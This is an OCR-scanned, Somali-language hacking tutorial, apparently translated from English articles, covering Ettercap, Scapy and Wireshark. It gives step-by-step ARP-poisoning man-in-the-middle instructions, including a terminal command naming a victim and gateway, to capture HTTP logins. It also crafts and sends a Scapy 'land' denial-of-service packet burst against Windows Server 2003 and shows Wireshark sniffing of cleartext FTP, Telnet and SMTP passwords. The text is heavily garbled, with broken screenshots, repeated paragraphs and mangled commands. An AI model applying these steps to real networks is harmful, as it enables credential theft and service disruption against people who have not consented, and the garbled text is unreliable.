Start Targets Hosts View Mitm Filters Logging Plugins Info

Listening on:
wlan0 -> 30:52:CB:6B:76:5F

192.168.0.11/255.255.255.0
fe80::903f:322c:1ad9:a365/64
2606:6000:66e3:f500:941d:dbea:4674:b9ed/64

Privileges dropped to EUID 0 EGID O...

33 plugins

42 protocol dissectors

57 ports monitored
20388 mac vendor fingerprint
1766 tcp OS fingerprint
2182 known services

Lua: no scripts were specified, not starting up!

Starting Unified sniffing...

Si loo helo aaladda aan dooneyno inaan ku weerarinno shabakadda,

Ettercap waxay haysaa xeelado dhowr ah oo kor u gaadaya shaarka.

Marka hore, waxaan ku sameyn karnaa baaritaan fudud

martigaliyayaasha adigoo gujinaya "Hosts," ka dibna "Scan for host."

Baadhitaan ayaa lagu fulin doonaa, ka dib marka uu dhammaadana,

waxaad arki kartaa martida soo baxday ee Ettercap ay ku agoonsatay

shabakadda adigoo gujinaya "Hosts," ka dibna "Liiska martida."

Mon03:29 @

Applications ¥ Places v

€ Ettercap v

ettercap 0.8.2

Start Targets Hosts View Mitm Filters Logging Plugins Info

Host List x

IP Address

192.168.0.1

192.168.0.2

192.168.0.3

192.168.0.4

192.168.0.5

192.168.0.6
192.168.0.14
192.168.0.48
192.168.0.52
192.168.0.53
fe80::414:475e:6305:f289
fe80::¢95:a09b:762b:26¢

MAC Address
40:70:09:7A:64:97
C8:85:50:F4:20:FA
D4:95:24:C2:36:27
50:33:8B:68:2D:73
00:09:1B:0C:62:0F
E8:11:32:DC:39:80
3C:DC:BC:05:77:D4
AC:72:89:32:5C:EE
10:94:BB:C9:AC:54
(8:69:CD:B9:B6:F4
7C:D1:C3:DB:OF:FF
C8:69:CD:B9:B6:F4

falN:-1ANY0aRa-1NAR-A1AQ (CR-QE-EN-EA-IN-EA

Delete Host

Description

Add to Target1
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Waxaan hadda arki karnaa liiska bartilmaameedyada aan ka ogaanay
shabakadda. Marabtaa inaad aragto waxa ay sameynayaan ama
yareeyaan bartilmaameedyada? Guiji "Fiiri," ka dibna "Xiriirada" si aad u
bilowdo quudinta xidhiidhada.

Ha Seegin: Sida Loo Sameeyo Weerarada Wacyigelinta Xaaladda

Mar uun aragtida Xiriirinta, waxaad ku kala shaandheyn kartaa isku
xirnaanta cinwaanka IP, nooca xiriirka, iyo haddii xiriirku furan yahay,
xiran yahay, firfircoon yahay, ama la dilay. Tani waxay ku siinaysaa
awood badan oo wax dhuugsi ah, oo lagu kordhin karo adigoo gujinaya
"Muugaal," ka dibna "Xalliya cinwaanada IP." Taas macnaheedu waa
Ettercap wuxuu isku dayi doonaa inuu xalliyo cinwaanada IP-ga ee ay u

aragto aalado kale oo shabakadda isku xiraya.

Applications ~ Places ¥ € Ettercap » Mon 03:31 @

ettercap 0.8.2
Start Targets Hosts View Mitm Filters Logging Plugins Info
Host List x | Connections x

Host filter Protocol filter Connection state filter
L & TCP & UDP @& Other & Active & Idle @& Closing @& Closed @ Killed

Host Port - Host Port Proto State TXBytes RXBytes
192.168.0.4 56494 - 192.168.0.255 14440 UDP  idle 6642 0
192.168.0.52 57621 -:192.168.0.255 57621 UDP :idle 616 0
fe80::4270:9ff:fe7a:6497 0 - ff02::1 0 killed - O 0
fe80::4270:9ff:fe7a:6497 0 - 2606:6000:66e3:f500:941d:dbea:4674:b9%ed 0 idle O 0
192.168.0.6 68 - 255.255.255.255 67 UDP ‘idle 1200 0
192.168.0.6 137 -:192.168.0.255 137 UDP idle 900 0
192.168.0.56 17500 ' - 255.255.255.255 17500 : UDP 'idle :1876 0
192.168.0.56 17500 ' - 192.168.0.255 17500 :UDP ‘idle 1876 0
192.168.0.14 5353 ' -:224.0.0.251 5353 (UDP iidle :1220 0
0

fe80::1c39:8770:4320:4282 0 - ff02::16 0 idle -0

AnN -0 A a0 10 AN -0 nare 17 inn aio

View Details [ Kill Connection
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Haddii aad rabto inaad agoonsato bartiimaameed shabakad oo aad
ogaato waxa ay daalacanayaan, ka fiiri garabkooda websaydhka ay ku
jiraan, oo u dhig websaydhka cinwaanka IP-ga oo leh xiriir firfircoon isla
boggaas. Haddii kale, badanaa waxaad ku sheegi kartaa cinwaanka
MAC, maadaama aad ka eegi karto khadka tooska ah si aad u aragto

soo-saaraha.

Hadda markaan ogaanay cinwaanka bartilmaameedka IP-ga, waa
wagqtigii lagu dari lahaa liiska bartilmaameedka. Markii aan sidan
yeelno, waxaan u sheegaynaa Ettercap inaan doonayno inaan
cinwaanka IP-ga u agoonsanno mid aan doonayno inaan iska dhigno, si
aan uga helno farriimo mashiinka loo yaqaan 'router' oo loogu talagalay

in bartilmaameedka loo diro

Ku noqo shaashadda "Hosts", oo xulo cinwaanka IP ee
bartiimaameedka aad rabto inaad bartiimaameedsato. Dhagsii
cinwaanka IP-ga si aad u iftiimiso, ka dibna riix "Bartilmaameedyada,"
oo ay ku xigto "liiska bartilmaameedka," si aad u aragto liistada

aaladaha bartiimaameedsaday faafinta ARP.
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Hadda, waxaan aadi karnaa

liiska "Mitm" si aan u bilowno Add I Delete
weera rkee nna MITM Attack: ARP Poisoning @
<) Optional parameters
1 = & [Sniff remote connections.
bartilmaameedka. —_—
Cancel ! OK
Applications ~ Places = € Ettercap ~ Mon O3:51 @

ettercap 0.8.2
Start Targets Hosts View Mitm Filters Logging Plugins Info
HostList x ||Targets x

Targetl Target2
192.168.43.59

Delete Add

Lua: no scripts were specified, not starting up!
Starting Unified sniffing...

Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
2 hosts added to the hosts list...

Randnamizinn 288 hnctec far cranninn

Hadaba waxaan aan bilabayna inan werar mo anako adeeg sanayna
"Mitm" ama man in the midle attack terget geeni

Marka weerarkani bilowdo, waxaad awoodi doontaa inaad ka hortagto
agoonsiga gelitaanka haddii isticmaalaha aad bartiimaameedsaneysid
uu ku galo websaydh aan isticmaalin HTTPS. Tani waxay noqon kartaa
router ama galab shabakadda ku jira ama xitaa degel isticmaala amni

Xumo.
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Si aad isugu daydo weerar kale, waxaad riixi kartaa "Plugins," ka dibna

"Load plugins," si aad u muujiso menu-ka plugin. Haddii aad doorato

Select a plugin... (]
s > @ usr:‘libhettercapi
: Places Name v Size  Modified g
Q Search = ec_arp_cop.so 10.4 kB 05/28/2018
# Recently Used = ec_autoadd.so 10.4 kB: 05/28/2018
& root = ec_chk_poison.so 10.4kB:05/28/2018
B Desktop = ec_dns_spoof.so 18.7 kB : 05/28/2018 |
2| File System B ec_dos_attack.so 10.4 kB 05/28/2018 §
£1295 GB Volume = ec_dummy.so 6.2kB :05/28/2018 |8
— 2| Windows = ec_find_conn.so 6.2kB - 05/28/2018
% 2/ LENOVO = ec_find_ettercap.so 10.3kB  05/28/2018
@ LRS_ESP = ec_find_ip.so 10.3kB - 05/28/2018
2t = ec_finger.so 10.4 kB’ 05/28/2018
1 = ec_finger_submit.so 6.2kB :605/28/2018
LIEQT S

loo diray bartilmaameedkan, iyaga oo jaraya marinkooda internetka.

Hadda, aan si dhab ah isugu dayno in aan dhex galno ereyga sirta ah.

]

-

weerarka DOS, Wéxéy bilaabi doontaa inay hoos u dhlgto xirrﬁooyinka

Websaydh ku fiican tijaabinta waa aavtain.com, oo si ula kac ah u

adeegsada amniga xun si aad uga hortagto agoonsiyada. Qalabka

bartilmaameedka, u gudub aavtrain.com. Mar alla markii ay rarto,

waxaad arki doontaa shaashad galitaan oo aad ku geli karto gal been

abuur ah iyo erey sir ah.

Gali username iyo password, ka dibna ku dhufo "Gudbi." Haddii

Ettercap uu guuleysto, waa inaad aragtaa soo galitaanka iyo lambarka

sirta ah ee aad qortay oo ka muuqda shaashadda weerrarka!
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VI, [V L. Lo AV.ZATL IOV VLY

DHCP: [6C:7B:C8:A6:2A:42] DISCOVER

DHCP: [6C:7B:C8:A6:2A:42] REQUEST 192.168.43.59
Randomizing 255 hosts for scanning...

Scanning the whole netmask for 255 hosts...

3 hosts added to the hosts list...

Host 192.168.43.59 added to TARGET1

ARP poisoning victims:
GROUP 1:192.168.43.59 6C:7B:C8:A6:2A:42
GROUP 2 : ANY (all the hosts in the list)

HTTP:192.185.11.183:80 -> USER: nullbyte PASS: averysecretpass INFO: http://aavtrain.com/
CONTENT: user_name=nullbyte&password=averysecretpass&Submit=Submit&login=true

Natiijadan kor ku xusan, waxaan arki karnaa in Ettercap ay si guul leh

ARP u sumeeysay bartilmaameedka oo ay dhexda u xirtay codsi soo ah.

n}
Pao

ettercop NGE-B.7.3 copyright J88l-2004 Aol & Mol

Listening on enl... {(Ethermet )

'redir_commond_o
GID

oy CONT 1gUre. .. )

Fingerprint
Irprint

S S SSSSS s s eaassesssnannsaay] 108 . OO
1 hosts added to the hosts list...

ARF poizoning victims:
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Isticmaka ettercap TERMINALKA

sudo ettercap -T -g -1 enl -w dump -M ARP /192.168.0.4/ /192.168.0.1/
-T -g: Waa in la isticmaalo ettercap iyadoo la adeegsanayo qoraalka qoraalka (khadka amarka).

-i en1: Waa in la isticmaalo isdhexgalka enz (wireless) ku xiran shabakada meesha aan rabo inaan ka fuliyo weerarka
MITM.

-w daadinta: Waxay ku keydineysaa isgaarsiinta la gabtay feylka la magac baxay gashinka oo ah gaab vu akhrin
karo Wireshark.

- M ARP: Waa ikhtiyaarka lagu fulinayo weerarka MITM habka sunta ARP.
/292.168.0.4/: Waa cinwaanka IP ee dhibbanaha.

/192.168.0.1/: Waa cinwaanka caadiga ah ee GW IP.

Xalka waxaad ku arkaysa inu sidi markii kale arp posioning aan ku
samaynay no computer ku jira wifi geen hadaba waxaan ka dhigay a
router keena ama barta uu ka soo galayo ka soo ha man in the midle
attact oo terminalka hadaba waxaad arki informationkii aan ku
arkaynay sawirka hoos ku xusan waa kii uu GUI oo aan terminalka ku

aragno
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Scapy

Scapy waa barnaamij isdabajoog ah oo isdaba-marin ku sameeya
xirmooyinka oo laga samayay python. Waxay awood u leedahay inay
been abuurto ama tirtirto xirmooyinka tiro badan oo maamuusyo ah, ku
dirto siligga, soo gabato, codsiyada iyo jawaabaha, iyo waxyaabo kaloo
badan. Waxay si fudud ula gabsan kartaa inta badan howlaha gadiimiga
ah sida iskaanka, raadinta, baaritaanka, tijaabooyinka unugyada,
weerarada ama helitaanka shabakada (waxay beddeli kartaa shucaaca,
85% ee nmap, arpspoof, arp-sk, arping, tcpdump, tethereal, pof, iwm).
Waxay sidoo kale sifiican ugu shageysaa hawlo kale oo badan oo gaar
ah oo aaladaha kale ee badankood aysan xamili karin, sida dirista
looxyo aan ansax ahayn, isku dirka muraayadahaaga 802.11, isku darka
farsamada (VLAN hopping + ARP kaydinta sumowga, VOIP decoding on
WEP encrypted channel,...), iwm

Isticmalka scapy

Quruxda 'Scapy' waa awooddeeda ay ku dhiseyso baako kasta oo aad
giyaasi karto. Guud ahaan, xirmooyinka TCP / IP ee nidaamkaaga
qalliinka waxay sameyn doonaan xirmo u hoggaansamaya RFC

markasta oo aad rabto inaad kula xiriirto internetka.
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WARNING: IPython not available. Using standard Python shell instead.
AutoCompletion, History are disabled.

Hackers ahaan, waxaan badanaa dooneynaa inaan abuurno baakad
gaar ah oo laga yaabo inaysan nogonin RFC-u hoggaansamida si loo
ururiyo macluumaadka bartilmaameedka (ie, iskaan). Intaa waxaa sii
dheer, gofku wuxuu abuuri karaa xaalad DoS isagoo dhisaya baakad
sababa nidaamka bartilmaameedka inuu burburo (tusaale ahaan,

weerar dhulka, geerida geerida, urta, iwm).

Aynu bilowno abuurista baakad IP fudud. Scapy, waxaad marka hore ku

dhawaaqeysaa doorsoomaha matalaya xirmadaada ka dibna aad u
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geexdo astaamaha baakadka mid mid. Tusaalahayga, waxaan ku
geexeynaa baakadka "x" ka dibna waxaan siineynaa sifooyin badan. Si

aad ula socoto, geex "x" sida baakad IP ah oo leh TTL of 64.

<IP ttl=64 |>

Ogsoonow ka dib markaan abuuray isbedelka x oo aan ku geexay
baakad IP ah oo leh wakhti lagu noolaado (TTL) oo ah 64, ka dib ayaan
dib u rogay doorsoomaha x, waxayna ku jawaabtay giimaha x.

Xaaladdan oo kale, waqtiga IP-ka ee lagu noolaan karo = 64.

Haatan, aan ku darno astaamo dheeri ah x-kan isbeddelaya, sida isha
iyo cinwaanka IP-ga. Qaamuusku wuxuu lamid yahay Wireshark ama
Tcpdump. Waxaan metelnaa isha IP-ga ee loo yagaan 'x.src' 0o ay ku
xigto giimaha ku jirta calaamadaha xigashada ("). Tusaalahayga,

waxaan u isticmaalayaa cinwaanka IP-ga isha 192.168.1.101.

>>> X.
>>> X

<IP ttl=64 src=192.168.1.101 |>

Markaa, waxaan metelnaa halka loo socdo IP sifo leh x.dst oo ay ku

xigto giimaha calaamadaha xigashada labalaab ("). Tusaalahayga,
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waxaan u isticmaalayaa cinwaanka IP-ga meesha loo socdo

192.168.1.122.

<IP ttl=64 src=192.168.1.

Ogsoonow in kadib markaan dejiyay giime kasta, waxaan hubiyay
giimaha anigoo si fudud dib ugu cusboonaysiinaya doorsoomaha ku
xigga astaamaha. Wagqtigan xaadirka ah, waxaan abuurnay baakad leh

astaamaha soo socda:

o TTL=64
e Isha cinwaanka IP waa 192.168.1.101

e Cinwaanka cinwaanka IP-ga waa 192.168.1.122

Waad labalaabi kartaa kuwaan adoo garaacaya magaca isbeddelka, x,
markale. Scapy wuxuu ku soo celin doonaa doorsoomaha astaamahiisa

si sax ah ugu goran

<IP ttl=64
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Scapy wuxuu leeyahay tiro badan oo shaqooyin la dhisay ah,
dhammaantoodna waxaan ku qori karnaa amarka Isc (). Ogsoonow

amarka dir liiska, taas oo ah waxa loo isticmaalo marka la doonayo in la
diro baakad.

>>> 1sc()

1,
defragment : defrag(plist) -> plist defragmented as much as possible

dhcp_request P o==

dyndns_add : Send a DNS add message to a nameserver for "name" to have a new
"rdata"

dyndns_del : Send a DNS delete message to a nameserver for "name"

etherleak : Exploit Etherleak flaw

fletcherl6_checkbytes: Calculates the Fletcher-16 checkbytes returned as 2 byte
binary-string.

fletcherl6_checksum : Calculates Fletcher-16 checksum of the given buffer.
fragleak g ==

fragleak2 3 ==

fragment : Fragment a big IP datagram

fuzz : Transform a layer into a fuzzy layer by replacing some default
values by random objects

getmacbyip : Return MAC address corresponding to a given IP address
getmacbyip6 : Returns the MAC address corresponding to an IPv6 address
hexdiff : Show differences between 2 binary strings

hexdump : Build a tcpdump like hexadecimal view

hexedit 3 ==
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Aynu adeegsanno dir si aan ugu dirno baakadka aan kor ku abuurnay ee
loo yagaan "x" oo leh astaamaha TTL = 64, cinwaanka IP-ga ee laga helo
192.168.1.101, iyo cinwaanka IP-ga loo socdo ee 192.168.1.122. Dabcan,
marka la dirayo baakadka, waxay aadi doontaa cinwaanka IP-ga loo
socdo 0o wuxuu leeyahay xaddidan 64 hips (TTL = 64).

>>> send(x)

Sidaad arki karto, baakadeena "x" ee sida gaarka ah loo farsameeyay
waxaa loo diray cinwaanka IP-ga loo socdo. Scapy waxaa loo isticmaali
karaa in lagu farsameeyo baakad leh giimo kasta oo ku saabsan mid
kasta oo ka mid ah cinwaanka IP-ga ama meelaha madaxa ee TCP, sida
cabbirka daagadda, calammada, qaybta jajabka, giimaha girashada,

lambarka isku xigxiga, iyo wixii la mid ah.

Waxaan rajeynayaa hadda inaad heleyso fikradda ah in Scapy loo
isticmaali karo in lagu maamulo mid kasta oo ka mid ah beeraha ku jira
baakadka TCP / IP. Hadda, aan u adeegsanno awooddan si aan u

abuurno baakad xun oo aan ugu dirno nidaam bartilmaameed ah.

Windows Server 2003 (aamin ama ha rumaysan, wali waxaa jira

malaayiin 2003 server ah - hubi Netcraft ama isticmaal Xprobe2 siaad u
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hesho nidaamka qalliinka) ayaa u nugul weerarka "dhulka", weerarka
DoS ee u diraya baakad aad u weyn bartilmaameedka isla isha iyo
cinwaanka loo socdo IP-ka, iyo sidoo kale isku ilo iyo dekedda loo
socdo. Had iyo jeer ma burburin nidaamka laakiin waxay hoos u dhigi
doontaa si aad ah. Adeegyada shabakadaha, hoos u dhigistooda ayaa si

wax ku ool ah u ah 'DoS".

Si loo abuuro baakad weerar dhul, Scapy wuxuu ku gaadan karaa
dhammaan astaamaha hal amar. Marka, adeegso gaabka soo socda si
aad u sameysid baakadka weerarka "land" oo u dir 2,000 jeer.
Halbeeggaas, diriddu waa amarka; IP wuxuu qeexayaa borotokoolka
cinwaanada IP; src = "192.168.1.122" waa isha cinwaanka IP; dst =
"192.168.1.122" waa cinwaanka IP-ga loo socdo; TCP waxay geexaysaa
borotokoolka dekedaha; isboorti = 135 ayaa qeexaya dekedda laga soo
xigto, dport = 135 ayaa qeexaysa dekedda loo socdo; iyo tirinta = 2000

waxay geexaysaa tirada baakadaha la dirayo.

>>> send(IP(src="192.168.1.122", dst="192.168.1.122")/TCP(sport=
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Haddii xirmooyinkan lagu jiheeyo Windows Server 2003, way burburin

kartaa nidaamka ama ugu yaraan si gaabis ah ayey hoos ugu dhigi
kartaa. Marka adeegaha webku gaabis yahay, wuxuu si wax ku ool ah

DoSes u yahay websaydhka.

Dhibaatada kaliya ee waxa aan kor ku gabanay ayaa ah inaan dhiibnay
cinwaankeena MAC. Waan hubaa inaanan kuu sheegin sababta ay
arrintani u nogonayso arrin, laakiin cinwaanka MAC ayaa bixin kara
shirkadda soo saarta mishiinkaaga, iyadoo bixinaysa xagiiqda ah

inaadan ahayn cidda aad sheegtay.

Hawsha dirku waxay u dirtaa xirmooyin lakabka 3 sidaa darteed ayay
kuu maareyneysaa marinka iyo lakabka 2 adiga. Si kastaba ha noqotee,
sendp wuxuu ka shageeyaa lakabka 2. Thanks to Null Byte user Triphat

00 soo jeedinaya amarka hoose, oo adeegsanaya shagada dambe.

Si aad u sameyso waxyaabo la mid ah sida Tallaabada 4 laakiin adoo
adeegsanaya cinwaankaaga MAC, sendp waa amarka; Ether wuxuu
geexayaa inuu yahay lakabka Ethernet (markaa waa LAN kaliya); src =
"aa: bb: cc: dd: ee: ff" waa isha isha lagu hayo ee cinwaanka MAG; IP

WUXUU geexayaa borotokoolka cinwaanada IP; src ="192.168.1.122"
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waa isha cinwaanka IP; dst = "192.168.1.122" waa cinwaanka IP-ga loo

socdo; TCP waxay geexaysaa borotokoolka dekedaha; isboorti = 135
ayaa geexaya dekedda laga soo xigto, dport = 135 ayaa geexaysa
dekedda loo socdo; iyo tirinta = 2000 waxay geexaysaa tirada
baakadaha la dirayo

dst="192.168.1.122")/TCP(sport=135,dport=135), count=20000)
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Sent 20000 packets.

Dhibaatada kaliya ee waxa aan kor ku gabanay ayaa ah inaan dhiibnay
cinwaankeena MAC. Waan hubaa inaanan kuu sheegin sababta ay
arrintani u nogonayso arrin, laakiin cinwaanka MAC ayaa bixin kara
shirkadda soo saarta mishiinkaaga, iyadoo bixinaysa xaqiiqda ah

inaadan ahayn cidda aad sheegtay.

Hawsha dirku waxay u dirtaa xirmooyin lakabka 3 sidaa darteed ayay
kuu maareyneysaa marinka iyo lakabka 2 adiga. Si kastaba ha noqotee,
sendp wuxuu ka shageeyaa lakabka 2. Thanks to Null Byte user Triphat

00 soo jeedinaya amarka hoose, oo adeegsanaya shagqada dambe.

Si aad u sameyso waxyaabo la mid ah sida Tallaabada 4 laakiin adoo
adeegsanaya cinwaankaaga MAC, sendp waa amarka; Ether wuxuu
geexayaa inuu yahay lakabka Ethernet (markaa waa LAN kaliya); src =
"aa: bb: cc: dd: ee: ff" waa isha isha lagu hayo ee cinwaanka MAG; IP
WUXUU geexayaa borotokoolka cinwaanada IP; src ="192.168.1.122"
waa isha cinwaanka IP; dst = "192.168.1.122" waa cinwaanka IP-ga loo
socdo; TCP waxay geexaysaa borotokoolka dekedaha; isboorti = 135
ayaa geexaya dekedda laga soo xigto, dport = 135 ayaa geexaysa
dekedda loo socdo; iyo tirinta = 2000 waxay geexaysaa tirada

baakadaha la dirayo
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| (l - Wireshark

Wireshark waa falanqeeyaha borotokoolka shabakadda adduunka ugu
horreeya uguna ballaaran ee la isticmaalo. Waxay kuu ogolaaneysaa
inaad aragto waxa ka socda shabakadaada oo ah heer microscopic
waana heerka dhabta ah (iyo badanaa de jure) guud ahaan ganacsiyo
badan iyo kuwa aan macaash doonka ahayn, wakaaladaha dowlada, iyo
xarumaha waxbarashada. Horumarinta Wireshark waxay kuxirantahay
mahada iskaa wax u gabso ee khubarada isku xirka adduunka oo dhan

waana sii wadida mashruuc uu bilaabay Gerald Combs sanadkii 1998.

Wireshark wuxuu leeyahay gaab muugaal hodan ah oo ay ku jiraan

kuwa soo socda:

e Kormeer goto dheer oo boqolaal maamuus ah, iyadoo
inbadan lagu daro markasta

e Qabashada tooska ah iyo falangaynta gad la'aanta

¢ Jaangooyaha baakadaha saddex-muraayad ah

e Meelo badan: Waxay ku socotaa Windows, Linux, macQS,
Solaris, FreeBSD, NetBSD, iyo kuwa kale oo badan
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e Xogta shabakadda ee la gabtay waxaa lagu baari karaa iyada
00 loo marayo GUI, ama iyada oo loo marayo aaladda TTY-
mode TShark

e Shaandheeyaha soo bandhigida ugu awooda badan
warshadaha

e Falangaynta hodanka ah ee VolP

e Akhriso / gqor foomam fara badan oo gabasho oo kaladuwan:
tcpdump (libpcap), Pcap NG, Catapult DCT2000, Cisco
Secure IDS iplog, Microsoft Network Monitor, Network
General Sniffer® (compressed and uncompressed), Sniffer®
Pro, and NetXray®, Network Instruments Observer,
NetScreen snoop, Novell LANalyzer, RADCOM WAN / LAN
Analyzer, Shomiti / Finisar Surveyor, Tektronix K12xx, Visual
Networks Visual UpTime, WildPackets EtherPeek /
TokenPeek | AiroPeek, iyo kuwa kale oo badan

e Faylasha gabashada ee lagu cabiray gzip waa lagu jajabin
karaa duulimaadka

e Xogta tooska ah waxaa laga akhrisan karaa Ethernet, IEEE
802.11, PPP [ HDLC, ATM, Bluetooth, USB, Token Ring,
Frame Relay, FDDI, iyo kuwa kale (waxay kuxirantahay
barnaamijkaaga)

e Taageerada go'aan qaadashada gawaaniinta badan, oo ay ku
jiraan IPsec, ISAKMP, Kerberos, SNMPv3, SSL /TLS, WEP, iyo
WPA [ WPA2

e Shuruucda midabaynta ayaa lagu dabaqi karaa liistada
baakadka falangayn dhakhso leh, dareen leh
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e Wax soo saarka waxaa loo dhoofin karaa XML, PostScript®,

CSV, ama qoraal cad.

Wireshark waxa uu leeyay mid terminala oo loo yagan tshark kaas
waxan ku wadagayna casharada danbe lakiin hada waxan eegay na sida
loo is sticmalo inter face ga inta oo gu muh san ee ethicak hacking
sababto ah sidad og tahay wireshark waa waxyabo badan ba loo gu
talagalay

Isticmalka wire shark

Markaan ku xirno shabakadda, aan bilowno furitaanka interface-ka

wireshark GUI. Si tan loo socodsiiyo, si fudud u gal barta:

~ # wireshark

Waxaad arki doontaa bogga Soo-dhaweynta ee daagada Wireshark,

waa inay u egtahay sidan:
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The Wireshark Network Analyzer =S = x
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

A = ® O R B A -« > D e » =

IN l»’l;:»;:-!-,v a display filter <Ctrl-/> = - I Expression... +

il
®
0]

Welcome to Wireshark

Capture

~.using this filter: | l Enter a capture filter - I All interfaces shown ~

any | =
Loopback: lo A
ethO
I

bluetoothO s —
nflog
nfqueue
usbmonl
usbmon2
usbmon3
usbmond

&) Cisco remote capture: cisco

&) Random packet generator: randpkt

@) SSH remote capture: ssh

Learn
User's Guide - Wiki Questions and Answers Mailing Lists

You are running Wireshark 2.4.1 (Git Rev Unknown from unknown).

L4l Ready to load or capture No Packets Profile: Default

Hadaba waxan eegayna sida loo ga helo passworka,sawiranta iyo
trafica ama cominecationka u dhexeya qalab yada IOT ama electronices
internet ga la xidhidhd sida mobil ,computer ,cc camera ,IWM oo iyo

protocalka kala duwan.

FTP password sida wiresharke loo gu helo

ururada gaar wali waxay u isticmaalaan maanta shabakadooda. FTP
waa borotokool qoraal cad ah sidaa darteedna weeraryahan booskiisu
fiican yahay wuxuu si fudud ugaban karaa aqoonsiyada soo galida FTP
isagoo adeegsanaya Wireshark. Sawirka soo socda ayaa muujinaya

tusaalaha furaha FTP ee la isticmaalay Wireshark:
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Eile Edt View Go Copture Analyze Statistics Telephony Tools [nternals Help

OO AN I BERS AES*DTL Qb @®mm% 8

Filter: | tcp.stream eql E] Expression... Clear Apply Save

N —

|| A Follow TP Strear

E S 1 sa , ac) e
tream Content 54 sun-sr- jms > ftp [Acx] seq-l Ack-l win-ee*so Ler
220 # . 338 Response: 220
220-Please upload your web files to the public_html directory. 85 Request: USER testuser
ggo -Note that letters are cas_e sensitive. - . 54 ftp > sun-sr-jms [ACK] Seqe=285 Ack=32 Win=5888 I

H rivate system - No anonymous 1ogin 111 Response: 331 user testuser OK.

USER testuser 73 Request: PASS SYSPASS

331 user testuger OK. Password required 137 Response: 230-vour Dandwidth usage 15 restrictec
PASS SYSPASS

width usage is restricted 60 Request: SYST

230 ok’ current restricted directory is / 73 Response: 215 UNIX Type: L8
| 60 Request: FEAT
215 UNIX Type: L8 | 294 Response: 211-gExtensions supported:

68 Request: OPTS UTF8 ON

77 Response: 200 OK, UTF-8 enabled

Im_g 59 RequestT: PWD

MDT™ 88 Response: 257 "/" is your current location
SIZE 62 Request: TYPE I

211 Ex(ensions supported:

REST STREAM g
MLST type*;size®;sizd*;modify*; UNIX.mode*; UNIX.uid*;UNIX.gid*;unique*;
0

AUTH TLS 1):0e)
PBSZ 1137.158)
PROT 15, Len: 31

Entire conversation (991 bytes) 3
| [ find Save As 'I Print AsCH EBCDIC Hex Dump C Arrays © Raw
| [ Eittae Orie Thie Coranm | [ Clncas 1l

Egooo

Maaddaama FTP ay tahay borotokool qoraal cad ah, waxaan sidoo kale
gaban karnaa xogta dhabta ah ee lagu wareejinayo hab maamuuskan.
Waxaan ka soo saari karnaa dhammaan faylasha (tusaale ahaan
sawirrada, dukumintiyada, feylasha maqgalka iwm) ee shabakadda
Wireshark. Brad Duncan oo ka socda PaloAlto Networks ayaa qoray

magaal aad v fiican oo sharraxaya sida taas loo sameeyo.

Waxaan sidoo kale u isticmaali karnaa Chaosreader inaan xogta uga soo
saarno faylka PCAP.
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Telnet password sida wiresharke loo gu helo

Borotokoolka Telnet adoo adeegsanaya dekedda tcp / 23 xaqiiqdii uma
baahna hordhac. Waxaa badanaa loo adeegsadaa ujeedooyinka
maamulka waxaana caan ku ah amni darrada. Sababtoo ah ma jiro wax
qarsoodi ah, ma jiro wax garsoodi ah ama ilaalin ah dhageysiga
dhageysiga. Si kastaba ha noqotee, Telnet wali waa la isticmaalaa

maanta.

Waxaa jira aalado badan oo kala duwan oo telnet ahaan u adeegsada
hab maamuuska maamulka. Qalabka gaar, telnet waa ikhtiyaarka kaliya
ee aan lahayn wax kale (tusaale. Ma jiro SSH ama HTTPS websaydh la
heli karo). Tani waxay ku adkeyneysaa ururada inay gebi ahaanba ka

takhalusaan. Telnet badanaa waxaa laga arki karaa:

e Qalabka shabakadda (router, furayaasha ..)

e Nidaamyada shirarka fiidiyowga (tusaale ahaan Cisco
TelePresence)

e Nidaamyada xakamaynta gelida (tusaale akhristayaasha kaarka
helitaanka)

e Nidaamyada keydinta iyo cajaladaha

e Madbacadaha iyo aaladaha sawirka

e Telefoonada IP-ga dhaxalka ah

e Mainframes
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Maaddaama telnet uu yahay borotokool qoraal cad ah, cadow meel ku

habboon ayaa dhagaysan kara isgaarsiinta oo uu gabsan karaa wax

walba, oo ay ku jiraan ereyada sirta ah. Tusaalaha isgaarsiinta telnet ee

leh lambarka sirta ah ee la gabtay ayaa lagu arki karaa shaashadda soo

socota:

File Edit View Go

P Amaboa Chntisdice Taloabmmi Tanle labasmate —Liale

—

.--.t-,a

elssaa— T

M Follow TCP Stream ==

SMTP password sida wiresharke loo gu helo

0O® 4 W 2 - e @ w o
Stream Content
Filter: tcp.stream eq0 v P
Mo lime user Access verification
ki USErName: .. 'vsesisiess RS OBEEE XTERM. ...S..S%aaddmmiinn
109 25. 354932 -
110 25.357638 Password: ciscol2345
111 25. 359359
112 25, 350806/ RL>eennaabbllee i
113 25.361716(l() Password: ciScol234
114 25.363550|| -
115 25.363551f) | R1#
116 25.363552|) | p1#sshhooww iipp rroouuttee
117 25.363552)
118 25.363632|||  Codes: C - connected, S - static, R - RIP, M - mobile, B - BGP
119 25. 363928/ D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area
120 25.363962]! N1 - OSPF NSSA external type 1, N2 - OSPF NSSA externa’l type 2
s | El - OSPF external type 1, E2 - OSPF external type 2
121 25.365234) i - IS-IS, su - IS-I5 summary, L1 - IS-IS level-1, L2 - IS-IS level-2
122 25.572471) ia - 1s-15 mter area, * - candidate default, U - per-user static route
127 29.724855|| 0 - ODR, P - periodic downloaded static route
12829-1726267|) Gateway of last resort is not set
3 Frame 110: 75 || fuﬂ 192.168.0.0/24 is directly connected, Fastethernet0/1
# Ethernet 11, S|
|| @ Internet Protof|
4 Transmission C{
= Telnet =, A ey
s will Negotial Entire conversation (820 bytes) B
o will Terminalll| [ Find |[ saveas ][ pint |© asca EBCDIC Hex Dump C Armays o Raw
@ will Termina
| will New Env
5 Do Echo Fitter Out This Stream | Close ]
5 will Sunnrac
0000 04 fe 7f 3a—~w—r=c <= iy T
0010 00 3d 09 74 40 00 80 06 6f 91 cO aS 00 64 c0 aS = t@I05 o das

Fecv > telnet [ACK]

B ...
recv > telnet [ACK]
R
Vone

Inta badan server-yada ku jira dekedda tcp / 25 waxay u baahan yihiin
amarka 'STARTTLS' si ay u bilaabaan sirta SSL / TLS ka hor isku day
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kasta oo xagqiijin ah. Si kastaba ha noqotee, adeegeyaasha boostada ee
ururada gaarkood wali waxay taageeraan sugida qoraalka cad ee
kanaalka aan la garin. Tani badanaa waxay sabab u tahay nidaamyada

dhaxalka ee ka dhex jira shabakadaha gudaha.

